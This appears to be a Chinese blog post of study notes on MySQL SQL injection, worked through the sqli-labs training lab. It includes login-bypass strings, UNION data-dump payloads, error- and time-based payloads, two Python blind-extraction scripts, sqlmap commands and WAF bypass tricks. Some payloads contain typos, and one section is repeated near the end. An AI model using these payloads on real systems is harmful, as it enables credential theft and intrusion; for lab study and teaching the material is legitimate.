注入(以sqlilabs分析)(未完)

Mysql注入基本知识点

常用sql语句

增删改查
select 列名 from 表名 where 字段1='条件1'and字段2='条件2'
insert into tablename(列1,列2...) values(值1,值2...)
update 表名 set 列名 = 新值 where 列名 = 某值   #修改数据
delete from 表名 where 列名 = 值   #删除某列
drop database 库名  	#删除库
注释
  1. “-- ” 有空格!(在url中空格用%20)
  2. /**/ 内联注释(是可以被执行的)

内联注释:/*! SQL语句*/ 只有mysql可以识别,常用来绕过WAF

select * from artcles where id = -1 /*!union*//*!select*/ 1,2,3,4

常用函数

常用聚合函数

前面都要加select!

user():查看当前Mysql登录用户名
database():查看当前使用数据库名
version():查看当前mysql版本

关键字

limit m,n 从m行开始,到m+n行(一般用于浏览网页,一页放不下那种)

select * from admin limit 2,1;   #即返回索引2开始的1行内容

注入原理

一般特征:

输入用户名、密码

都要跟数据库交互,所以一般可能会有注入漏洞

登录sql语句:

select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'

用户输入的内容可由用户自行控制,如可以输入:

'or 1=1 -- (空格)

此时有sql语句:

select * from admin where username = '' or 1=1 -- ' and password = '用户输入的密码'

其中1=1永远为真,“-- ”后面的内容不再执行所以返回admin中的所有内容

万能密码

NT

万能密码注入也可以做成字典burp爆破出来!!!

asp aspx万能密码
  1. "or “a”="a
  2. ')or(‘a’='a
  3. or 1=1–
  4. 'or 1=1–
  5. a’or’ 1=1–
  6. "or 1=1–
  7. ‘or’a’='a
  8. “or”="a’='a
  9. ‘or’’=’
  10. ‘or’=‘or’
  11. 1 or ‘1’=‘1’=1
  12. 1 or ‘1’=‘1’ or 1=1
  13. 'OR 1=1%00
  14. "or 1=1%00
  15. 'xor
  16. 新型万能登陆密码

​ 用户名 ’ UNION Select 1,1,1 FROM admin Where ‘’=’ (替换表名admin)
​ 密码 1

​ Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23
​ Password=1

17 …admin’ or ‘a’='a 密码随便

PHP万能密码
  1. ‘or’=‘or’
  2. 'or 1=1/* 字符型 GPC是否开都可以使用
  3. User: something Pass: ’ OR ‘1’='1
jsp万能密码
  1. 1’or’1’='1
  2. admin’ OR 1=1/*
  3. 用户名:admin 系统存在这个用户的时候 才用得上 密码:1’or’1’='1
修复方案

修改根目录下的post.php文件

$user =$_POST[‘user’];修改成
$user = mysql_real_escape_string($_POST[‘user’]);

CMS逻辑

index.php首页展示内容,具有文章列表(连接具有文章id)article.php文章详细页,URL中article.php?id=文章id 读取id文章

sql注入验证(判断是否存在SQL注入漏洞)
  1. 单引号 ’
  2. and 1=1
  3. and 1=2

若页面出现mysql报错,证明该页面存在SQL注入漏洞

sqlmap

检测和利用SQL注入漏洞的强大工具

超详细SQLMap使用攻略及技巧分享

报错注入

依据注入位置数据类型分类:

  1. 数字型
  2. 字符型

3种注入方法

  1. 函数报错:

extractvalue:第一个参数传入目标xml文档,第二个参数用Xpath路径法表示查找路径

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

函数里面不能有“~”,所以利用此构造报错

eg.nsnctf-easy_search

1/**/and/**/(extractvalue(1,concat(0x7e,database(),0x7e)))/**/limit/**/0,1

updatexml——返回替换的XML片段

updatexml(xml,target,xpath_expr,new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

与上面extractvalue函数一样,当xpath路径语法错误时就会报错,报错内容含有错误的路径内容

  1. floor

关于floor()报错注入,你真的懂了吗? - SecPulse.COM | 安全脉搏

原理:rand和order by或group by的冲突

select rand();     产生0-1随机数(伪随机,括号里面写随机数种子后就固定了)

floor():返回小于等于该值的最大整数

floor(rand(0)*2):rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1。、

group_by:对数据进行分许(相同为一组),与count()结合使用

count():统计表中记录的一个函数,返回匹配条件的行数

​ cout(*):包括所有列

eg.image-20210810143445184

mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count(*)。也就对应于上个截图中的 prod_price 和 count(*)。

在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组

floor(rand(0)*2的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和group by的虚拟表,最终引起了报错

  1. exp——溢出报错

GET

GET基于报错的SQL注入发现

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠(\)来探测URL中是否存在注入点

例题:sqlilab less1~4
猜测对应语句

sqlilab

  1. 基于错误的GET单引号字符型注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MAyYpdhW-1630823323133)(注入.assets/image-20210719233842524.png)]

分析报错信息:

''14'' LIMIT 0,1'  一前一后两个引号与报错语句没有关系,中间的是真正出错的语句
'14'' LIMIT 0,1   --->由此可猜测sql语句

去掉一个引号,还剩一对,所以原来有引号,可以确定输入的参数被存放到一对单引号中间

SQL:
select login_name,password from admin where id='14' limit 0,1;
  1. 基于错误的GET整型注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pTDJPo8H-1630823323138)(注入.assets/image-20210719234231570.png)]

这次问题出在传入的id的后面(传入id=14‘)

'' LIMIT 0,1'    ---->    ' LIMIT 0,1

说明前面完整,多一个引号,猜测原语句:

select login_name,password from admin where id=14 limit 0,1;
  1. 基于错误的GET单引号变形字符型注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wP3qYbyQ-1630823323140)(注入.assets/image-20210719234505741.png)]

''14'') LIMIT 0,1'   --->   '14'') LIMIT 0,1

有括号,去掉一个引号变成 : ’ 14’) LIMIT 0,1

要闭合这个括号,就要在全句中用"("来闭合,所以猜测:

select login_name,password from admin where id=('14') limit 0,1;

传入:“?id=14) – ”闭合括号然后让后面注释

(后面空格可以用加号“+”,也可以用%20)

  1. 基于错误的GET双引号字符型注入

输入:14’、14)、14‘)都不报错,则考虑可能用双引号闭合了输入,使输入的任何数据都当做字符串处理

mysql中“”引起的字符串,若传入结果为“1’))”不管1后面有什么字符(只要不是数字)在这里都会被转为数字1,所以不会报错

都不会报错时,就要用双引号或反斜杠尝试(\”,会转义为正常的引号,而不是sql语句中的引号)

双引号:use near '"14"") LIMIT 0,1' at line 1
反斜杠:use near '"14\") LIMIT 0,1' at line 1

以斜杠为例进行分析:sql语句中为

"14\") LIMIT 0,1   明显是双引号

所以猜测sql语句为:

select login_name,password from admin where id=("14") limit 0,1;

GET基于报错的SQL注入利用

  1. 利用order by判断字段数 eg.id=1 order by 猜测的数字
  2. 利用union select联合查询,获取表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=databases() --+
  1. 利用union select联合查询,获取字段名
0' union select 1,group_concat(column_name),3 from information_schema.columes where table_name='users' --+
  1. 利用union select联合查询,获取字段值
0' union select 1,group_concat(username,0x2a,password),3 from users--+

利用sqlmap测试

sqlmap -u “http://sqlilabs/Less-1/?id=1” --dbs --batch

–dbs:探测数据库

–batch:表示使用默认回答,否则会经常让选y或n

  1. 探测出数据库后,在选择可以数据库进一步探测。此时参数:

-D 数据库名 – tables:探测哪个库中的什么表

POST

与GET区别:注入点位置发生变化,在浏览器中已经无法直接进行查看和修改

例题:sqlilabs-11、12

sqlmap

复制burp阶段的HTTP请求数据包到文本文件中,使用

sqlmap -r 文件路径 -p 指定探测参数

知道基于错误,也可以指定探测技术:–technique -E

查看当前使用的数据库名称:–current-db

HTTP头中的sql注入

一些网站代码对输入进行了过滤,但未对HTTP进行过滤

一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。

条件:

  • 能够对请求头消息进行修改,
    修改的请求头信息能够带入数据库的查询
    数据库没有对输入的请求信息做过滤

分类

UA注入

给显示了IP,可能会跟网络上的东西有关——>抓包、HTTP

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jLTwuZKu-1630823323142)(注入.assets/image-20210819120958192.png)]

只有登录成功才会有报错语句

正确回显中有UA回显

分析源码:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7GbJnVRR-1630823323143)(注入.assets/image-20210819172203161.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-neEB27sJ-1630823323144)(注入.assets/image-20210819172219667.png)]

POST的uname和passwd都做了check_input()处理,表单不存在注入点

登录成功后,insert语句出错还会返回mysql的错误信息

不论是否登录成功,都会回显IP。

登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。

且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理UA部分。与现实中登录注册再注入较为贴合。所以注入点就在UA处,且为单引号型报错注入

referer注入
' or '1'='1
验证:' or (length(database()))>8 or if(1=1,sleep(5),null) or '1'='1
Cookie注入

服务器可以利用Cookie包含信息的任意性来筛选并经常维护这些信息,以判断在HTTP传输中的状态

Cookies最典型的应用是判定注册用户是都已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续;另一个重要应用场合是“购物车”之类处理,用户可能会在一段时间内在同一家网站的不同页面中选择不同商品,这些信息都会写cookies,以便在最后付款时提取信息

F12在控制台直接输入document.cookie可以获取当前页面cookie信息

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XqsW5LN2-1630823323145)(注入.assets/image-20210827103030072.png)]

直接cookie
注入代码分析

代码中使用Cookie传递参数,但未对Cookie中传递的参数进行过滤操作,导致SQL注入漏洞产生

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rVyXX1fJ-1630823323146)(注入.assets/image-20210827103151837.png)]

Cookie base64注入

base64编码:从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息

base64是一种基于64个可打印字符来表示二进制数据的方法

将原始内容转换为二进制,从左到右一次取6位,然后在最高位补2位0.形成新的内容

编码规则:

  1. 把3个字符变成4个字符
  2. 每76个字符加一个换行符
  3. 最后的结束符也要处理
注入代码分析

base64_decode(str):PHP中用于解密Base64加密字符串的函数

传入的cookie是base64加密后的,则先加密注入语句在放到cookie里

可以先传带"\"的:admin\,看如何闭合

注入

将请求放到txt里,注入处加“*”

sqlmap -r D:\C-from\桌面\target.txt --level 3 --batch --tamper base64encode

–tamper base64encode:将出入的所有数据都进行base64加密

sqlmap

  1. 自动搜索POST表单注入:
sqlmap -u "题目链接" --forms
  1. 指定参数探测sql注入
sqlmap -u "题目链接" --data "n=1&p=1"
  1. HTTP

指定注入位置进行注入,在保存的文件中,对于参数的修改为*

即Referer:*

测试文件时输入:

sqlmap -r C:\Users\86185\Desktop\test.txt   

此时是-r不是链接的-u,且放完整路径不带引号

盲注(blind SQL)

向数据库发送true或false的问题,根据应用程序返回的信息判断结果

存在背景:应用程序配置为只显示常规错误,没有解决SQL注入存在的代码问题

(不返回sql库中查询到的信息,而返回特定的语句)

如查询到为true,返回you are in等

分类:布尔盲注、时间盲注

如:例题less-8

  1. 输入测试

id=1 : you are in

id=1’ 1\都没有显示

即正确时返回you are in,错误没有回显,且语句应为字符型

常用方法

if

1. 查询:    if(查询语句,1,sleep(5))

若查询语句为真,直接返回结果,若查询语句为假,则过5秒返回

2. 判断:    if(expr1,expr2,expr3)

判断语句,若第一个语句正确就执行第二个语句,错误则执行第三个语句

判断类型常用语句

常用判断语句:

’ and if(1,sleep(5),1) %23

’ and if(1=0,1,sleep(10)) --+

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

猜测字符常用语句

select length(database())

select substr(database(),1,1)

select ascii(substr(database(),1,1)) > N (大于、小于、等于)

猜测有几张表:

if((select count(table_name) form information_schema.tables  where table_schema=database())=2,sleep(3),1)

这里表示,若是2张表,则休眠3秒

类型

NT:判断是字符还是数字时要多次构造表达式,使其出现错误回显

语句:select * from table where id='{ID}'

输入:1 and 1=1 #       就变成select * from table where id='1 and 1=1 #'   
此时,即使有注释符,后面也不会被注释,会被当做字符串的内容
等价于select * from table where id='1'

1' and 1=1 #
等价于 select * from table where id='1' and 1=1
当闭合后可以有错误回显时,可以考虑用这个进行布尔盲注

GET

时间盲注

if(ascii(substr(database(),1,1)=115,1,sleep(3))):当数据库名第一个字符的ASCii码是115时,执行一次sleep

含义:

if(判断表达式):判断结构

里面表达式:第二个参数是在第一个参数是true的情况下的执行次数(这里115,1,sleep的1是第二个,即115句是true时,执行一次),执行的内容是第三个参数(即后面的sleep)

substr:3个参数:“所取的字符串,起始位,所取个数”,这里是去database的第一个字符(所取个数要算本身,mysql里面起始从1开始)

借此通过枚举来判断名字的各个字符获取数据

**例题:**less-9、10

正常传入id=1,没有数据显示,只有特定语句

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OFtQNjqo-1630823323148)(注入.assets/image-20210720131441866-1626758082366.png)]

考虑可能是盲注,先试时间盲注(F12看网络)

正常时image-20210720131520711

加入盲注判断语句:

?id=1'if(ascii(substr(databses(),1,1)=115,1,slleep(3)))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RCFWloP1-1630823323149)(注入.assets/image-20210720131625247.png)]

可以借此时间差来判断猜测是否为真

对于less-10,只需要改变闭合语句

?id=1" and if(ascii(substr(database(),1,1))=115,1000,sleep(3)) --+
布尔盲注

更便捷

NT:在sql语句命令行中,仅用这一条语句要有select,即select length;但是注入时,在url中控制,由于是传入后台处理,后台有select语句,所以不用写select,直接and即可

**例题:**LESS-8

id=1' and length(database()) = 8 --+

若为true则正确显示you are in,false则没有回显

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xZODm9Fj-1630823323150)(注入.assets/8F7I7VYPONB]ZDEH2[2{VNX.png)]

长度:1' and length({str_to_guess})={i}--+
内容:1' and ascii(substr({str_to_guess},{i},1)) > {mid} --+

用and连接!

附脚本模板:less8

import requests

base_url = "http://sqlilabs/Less-8/"
# str_to_guess = "database()"
str_to_guess = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
# str_to_guess = "(select group_concat(column_name) from information_schema.columns where table_name='users')"
# str_to_guess = "(select group_concat(username,0x3a,password) from users)"

for i in range(1,999):
    payload = f"1' and length({str_to_guess})={i}--+"
    url = f"{base_url}?id={payload}"
    # txt = requests.get(url).text
    if "You are in" in requests.get(url).text:
        str_len = i
        print(f"length is {i}")
        break
    else:
        print(f"tring {i}")

str_lst = []
for i in range(1,str_len+1):
    low=1
    high=128
    while low<high:
        mid = (low+high)//2
        payload = f"1' and ascii(substr({str_to_guess},{i},1)) > {mid} --+"
        url = f"{base_url}?id={payload}"
        if "You are in" in requests.get(url).text:
            low = mid+1
        else:
            high = mid
    print(f"字符为:{chr(low)}")
    str_lst.append(chr(low))

print("结果:","".join(str_lst))
# 1' select ascii(substr({str_to_guess},{i},1)) > {mid}

post

时间

在存在注入点POST提交的参数后+and if(length(database())>5,sleep(5),null)

若执行的页面响应时间大于5s,则肯定存在注入,且对应的sql语句执行

admin' and (select (if(length(database())>5,sleep(5),null))) -- 
布尔

在存在注入点POST提交的参数后 + if判断正误的语句

select length(database())
select substr(databsee(),1,1)
select ascii(substr(database(),1,1))
select ascii(substr(database(),1,1)) > N
select ascii(substr(database(),1,1)) = N
select ascii(substr(database(),1,1)) < N

附脚本模板:less10

import requests
import time

base_url = "http://sqlilabs/Less-10/"
# str_to_guess = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
# str_to_guess = "(select group_concat(column_name) from information_schema.columns where table_name='users')"
str_to_guess = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
TIMEOUT = 0.2

for i in range(1,999999999999999):
    payload = f'1" and if(length({str_to_guess})={i},sleep({TIMEOUT}),null) %23'
    url = f'{base_url}?id={payload}'
    time_start = time.time()
    request = requests.get(url)
    time_end = time.time()
    if time_end-time_start > TIMEOUT:
        str_len = i
        break
    else:
        print(f"tring {i}")
print(f"length is : {str_len}")
print("start content:")

value ="abcdefghigklmnopqrstuvwxyz@,_."
str_lst = []
for i in range(1,str_len+1):
    s = ""
    for v in value:
        payload = f'1" and if(substr({str_to_guess},{i},1)="{v}",sleep({TIMEOUT}),0) %23'
        url = f"{base_url}/?id={payload}"
        time_start = time.time()
        re = requests.get(url)
        time_end = time.time()
        if time_end-time_start > TIMEOUT:
            print(v,end=" ")
            s += v
            break
    str_lst.append(s)

print(f"content is: ")
print("".join(str_lst))

sqlmap

基于时间:–technique T --dbs

指定技术–technique , T表示time,基于时间

若不指定,会使用所有技术进行探测,此时时间较慢

B:bool

E:error报错

U:union注入

S:堆叠

T:时间

Q:对应查询

post注入形式:

  1. 直接用网址
sqlmap -u "网址" --data "a=1&b=2"  

问题:在注入sqlilabs-less15时,下不去,要加两个参数 --level 3 --risk 3才可继续注入

  1. 将POST报文写到txt问价中

注入读写文件

P6

读取前提:

  1. 文件读写操作前提要权限足够高(尽量有root权限)

  2. secure_file_priv不为NULL

先查询:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H1c48mQi-1630823323151)(注入.assets/image-20210723153444700.png)]

默认值为NULL,修改为。。就可以读取web站点上的任意目录和文件

绕过手段

若程序中设置了过滤关键字,但过滤过程中没有对关键字组成组成深入分析处理

  1. 大小写过滤

    若程序中设置了过滤关键字,但过滤过程中没有对关键字组成组成深入分析处理

    eg. AnD 1=1

  2. 双写绕过——程序中出现关键字之后替换为空

eg.union——>uniunionin 可以结合大小写绕过一起用

  1. 编码绕过

使用编码对用户输入内容进行加密,服务器端再解密

可以利用网络中的URL在线编码,绕过过滤

  1. 内联注释绕过

mysql中内容注释中的内容可以被当做sql语句执行——/*! */

eg.image-20210810104010816

Post Update语句注入

update语句用来修改表中的数据:

update 表名 set 列名1=新值1,列名2=新值2 where 更新条件

eg.less17过滤函数

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
	
	else
		{
		$value = intval($value);
		}
	return $value;
	}

update注入一般用updatexml进行报错注入

uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,version(),0x7e),1)#

这里只要uname正确,passwd没要求

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wafYw14C-1630823323152)(注入.assets/image-20210827003135143.png)]

还可以用sqlmap:sqlmap -r D:\C-from\桌面 -p passwd
*! */

eg.image-20210810104010816

Post Update语句注入

update语句用来修改表中的数据:

update 表名 set 列名1=新值1,列名2=新值2 where 更新条件

eg.less17过滤函数

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
	
	else
		{
		$value = intval($value);
		}
	return $value;
	}

update注入一般用updatexml进行报错注入

uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,version(),0x7e),1)#

这里只要uname正确,passwd没要求

[外链图片转存中…(img-wafYw14C-1630823323152)]

还可以用sqlmap:sqlmap -r D:\C-from\桌面 -p passwd

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值